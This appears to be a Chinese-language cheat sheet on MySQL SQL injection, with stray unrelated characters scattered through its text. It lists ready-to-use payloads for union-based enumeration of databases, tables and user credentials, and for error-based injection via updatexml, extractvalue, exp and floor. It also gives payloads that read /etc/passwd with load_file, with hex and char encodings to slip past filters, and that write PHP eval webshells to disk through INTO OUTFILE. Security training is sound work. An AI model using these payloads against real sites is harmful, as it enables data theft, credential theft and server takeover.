information_schema表的構(gòu)造
information_schema表存儲(chǔ)了數(shù)據(jù)庫、表、列的結(jié)構(gòu)信息,要注意MYSQL5.0以上版本才有美澳。
- SCHEMATA(schema_name)
- TABLES(table_schema,table_name)
- COLUMNS(table_schema,table_name,columns_name)
show databases;
show tables;
show tables from schemaname;
show columns from schemaname.tablename;
sql 函數(shù)
字符串截取
- mid(string,start,length)
- substr(string,start,length)
- left(string,length) 從左開始截取
- right(string,length) 從右開始截取
- substring_index(string,delim,count) 按照關(guān)鍵字截取字符串
select mid(version(),1,1);
select substr(version(),1,1);
select left(version(),1);
sleect right(version(),1);
select substring_index(version(),'.')
字符串轉(zhuǎn)化
- ascii()
- ord()
- length()
- hex() 字符轉(zhuǎn)換為16進(jìn)制
系統(tǒng)函數(shù)
- version() 版本信息(5.0以上才有information_schema)
- user() 當(dāng)前使用數(shù)據(jù)庫用戶名
- current_user()
- system_user()
- database() 當(dāng)前數(shù)據(jù)庫名
- @@datadir 數(shù)據(jù)庫路徑
- @@basedir
- @@version_compile_os
- database()
文件操作
- load_file
- into_Dumpfile
- into outfile
- load data infile
字符串拼接
- concat(str1,str2,…)
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個(gè)參數(shù)為NULL 摸航,則返回值為 NULL。
mysql> SELECT CONCAT(’My’, ‘S’, ‘QL’);
-> ‘MySQL’
mysql> SELECT CONCAT(’My’, NULL, ‘QL’);
-> NULL
- concat_ws(',',str1,str2,str3)
concat_ws(';',user(),database(),version())
- group_concat(列名):會(huì)把一列中所有內(nèi)容在一行中合并舅桩,每行用逗號(hào)隔開輸出酱虎。
時(shí)間函數(shù)
- benchmark()
- sleep(1)
基本語法
- exist() 用于檢查子查詢是否會(huì)返回至少一行數(shù)據(jù);
- order by
- limit : 限制查詢的條數(shù)
select * from tableName limit i,n
# tableName:表名
# i:為查詢結(jié)果的索引值(默認(rèn)從0開始)擂涛,當(dāng)i=0時(shí)可省略i
# n:為查詢結(jié)果返回的數(shù)量
# i與n之間使用英文逗號(hào)","隔開
#
limit n 等同于 limit 0,n
# 查詢10條數(shù)據(jù)读串,索引從0到9,第1條記錄到第10條記錄
select * from t_user limit 10;
select * from t_user limit 0,10;
# 查詢8條數(shù)據(jù)撒妈,索引從5到12恢暖,第6條記錄到第13條記錄
select * from t_user limit 5,8;
權(quán)限操作
# 文件權(quán)限
select File_priv from mysql.`user` WHERE user='root';
#
show global variables like "secure_file_priv";
secure_file_priv ='' # 允許導(dǎo)入導(dǎo)出
secure_file_priv = '/tmp' # 僅允許tmp目錄
secure_file_priv= null # 不允許導(dǎo)入導(dǎo)出
注釋方式
/**/ 多行注釋,等于一個(gè)空格
單行注釋
--+ 單行注釋
# - 內(nèi)聯(lián)注釋 /*! ... */
/*50001 select * from users*/;
SQL注入
注入步驟
手工判斷是否存在注入點(diǎn)
1'
1'#
- and 1=1/ and 1=2
判斷參數(shù)過濾機(jī)制
''
""
('')
("")
((""))
((''))
獲取查詢列數(shù)
- order by + 列數(shù):當(dāng)猜測的列數(shù)小于等于查詢的列數(shù)時(shí)狰右,查詢結(jié)果正常顯示杰捂。
- union select 1,2,3 逐個(gè)試錯(cuò),如果正常的列數(shù)棋蚌,查詢結(jié)果正常顯示嫁佳。
判斷頁面第幾位可以顯示
union select 1,2,3,4,5
獲取數(shù)據(jù)庫名稱
- union select database()
- union select 1,2,group_concat(schema_name) from information_schema.schemata--+
獲取數(shù)據(jù)庫表名稱
- union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()--+
獲取數(shù)據(jù)列名稱
- union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
獲取數(shù)據(jù)
- union select 1,(select concat_ws(0x3a,username,password,role) from 'tablename' limit 0,1)
報(bào)錯(cuò)注入
報(bào)錯(cuò)注入使用場景
頁面不顯示返回的數(shù)據(jù),但是前端能夠顯示sql語法的錯(cuò)誤谷暮,從而帶出真實(shí)數(shù)據(jù)蒿往。
報(bào)錯(cuò)注入分類
updatexml
- 格式:updataxml(xml_document,XPath_string,new_value)
- 用途:查找(XML_document文檔中符合條件XPath_string的值并用new_value代替
- 報(bào)錯(cuò)原理:由于updatexml的第二個(gè)參數(shù)需要Xpath格式的字符串,而我們輸入的是普通字符串且以~開頭的內(nèi)容不是xml格式的語法湿弦,concat()函數(shù)為字符串連接函數(shù)也不符合規(guī)則瓤漏,但是會(huì)將括號(hào)內(nèi)的執(zhí)行結(jié)果以錯(cuò)誤的形式報(bào)出,這樣就可以實(shí)現(xiàn)報(bào)錯(cuò)注入了。
union select 1,2,updatexml(1,concat('~',version(),'~'),1) --+
extractvalue
- extractvalue(XML_document, XPath_string):從目標(biāo)XML_document中返回包含所查詢XPath_string值的字符串蔬充。
-1' union select 1,2, extractvalue(1,concat('~',(select database())))--+
exp
- 版本不能大于5.5.53
- 原理:當(dāng)傳遞大于709的值蝶俱,函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。0按位取反就會(huì)返回“18446744073709551615”娃惯,再加上函數(shù)成功執(zhí)行后返回0的緣故跷乐,我們將成功執(zhí)行的函數(shù)取反就會(huì)得到最大的無符號(hào)BIGINT值。通過子查詢與按位求反趾浅,造成一個(gè)DOUBLE overflow error愕提,并借由此注出數(shù)據(jù)。
union select 1,2,exp(~(select * from(select user())x))--+
floor
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);''
sql注入文件操作
讀取數(shù)據(jù)
- load_file(file)函數(shù)
- 文件名稱必須為絕對(duì)路徑
- 用戶必須有file權(quán)限
- 文件容量要小于max_allowed_packet字節(jié)
union select 1,2,load_file('/etc/passwd') --+
# 過濾單引號(hào)皿哨,可以將 /etc/passwd 轉(zhuǎn)化為十六進(jìn)制 0x2f6574632f706173737764
union select 1,2,load_file(0x2f6574632f706173737764) --+
# 或者使用char函數(shù)
union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) --+
寫入數(shù)據(jù)
- into dumpfile 只能導(dǎo)出一行數(shù)據(jù)浅侨,并不常用,用于導(dǎo)出一條數(shù)據(jù)证膨。
- into outfile <fields terminated by 'string'>
導(dǎo)入的個(gè)字段以string字符分割如输,string的位置也可以注入php代碼
1')) union select 1,2,3 into outfile "/tmp/1.txt" --+
1')) union select 1,2,'<?php @eval($post["mima"])?>' into OUTFILE "/tmp/test.txt"--+
1')) union select 1,2,3 into OUTFILE "/tmp/test.txt" fields terminated by '<?php @eval($post["mima"])?>'--+
字符轉(zhuǎn)化
如果遇到waf過濾了/ \等特殊字符,可以用char或hex轉(zhuǎn)換
- char轉(zhuǎn)換
- 16進(jìn)制0x轉(zhuǎn)換
union select 1,2, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) into outfile '/tmp/test'
union select 1,2,'0x3c3f706870206576616c28245f504f53545b636d645d293f3e' into outfile '/tmp/1.php' --+
文件權(quán)限
- File_priv
- secure_file_priv
select File_priv from mysql.`user` WHERE user='root';
show global variables like "secure_file_priv";
secure_file_priv ='' # 允許導(dǎo)入導(dǎo)出
secure_file_priv = '/tmp' # 僅允許tmp目錄
secure_file_priv= null # 不允許導(dǎo)入導(dǎo)出
- secure_file_priv 不能為null央勒,如果為null則不能導(dǎo)入導(dǎo)出文件
show varialbes like '%secure%' - 要知道網(wǎng)站的絕對(duì)路徑
- gpc沒有開啟
- 導(dǎo)入文件需要文件可讀不见,且小于max_allowed_packet
- 導(dǎo)出文件需要數(shù)據(jù)庫用戶有file權(quán)限,默認(rèn)只有root有
- 導(dǎo)出文件需要mysql用戶對(duì)路徑有寫權(quán)限